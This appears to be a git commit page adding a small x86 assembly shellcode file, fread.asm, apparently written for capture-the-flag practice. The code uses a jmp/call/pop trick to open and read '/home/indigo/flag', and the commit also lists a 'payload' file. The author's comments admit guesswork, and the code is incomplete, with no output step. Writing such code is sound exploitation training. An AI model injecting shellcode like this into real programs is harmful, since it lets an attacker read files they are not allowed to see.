diff options
| author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-10-27 05:24:08 -0500 |
|---|---|---|
| committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-10-27 05:24:08 -0500 |
| commit | 4fda6945bcaed8de8220e02a93a04fcc1d171c6b (patch) | |
| tree | ba56212e0cb24853d2dbbb65f0bc655141f9a19a /fread.asm | |
| parent | b78831398bfbd268d9e4f16805ec466d225cdcb2 (diff) | |
new file: fread
new file: fread.asm
new file: fread.o
new file: makefile
modified: orw
new file: payload
Diffstat (limited to 'fread.asm')
| -rw-r--r-- | fread.asm | 26 |
1 files changed, 26 insertions, 0 deletions
diff --git a/fread.asm b/fread.asm new file mode 100644 index 0000000..358cc93 --- /dev/null +++ b/fread.asm @@ -0,0 +1,26 @@ +global _start +_start: +jmp short data +str_found: +xor eax, eax +mov al, 5 ;sys_open + +xor ecx, ecx ; arg2 +xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 + +pop ebx +mov [ebx + 18], ecx ; arg1 +int 0x80 + +;eax now contains our file descriptor. + +mov al, 3 ;sys_read +mov ebx, esp ;I think? +mov cl, 0xff ;eh, random guess I guess +int 0x80 + + +data: +call str_found +db "/home/indigo/flag" + |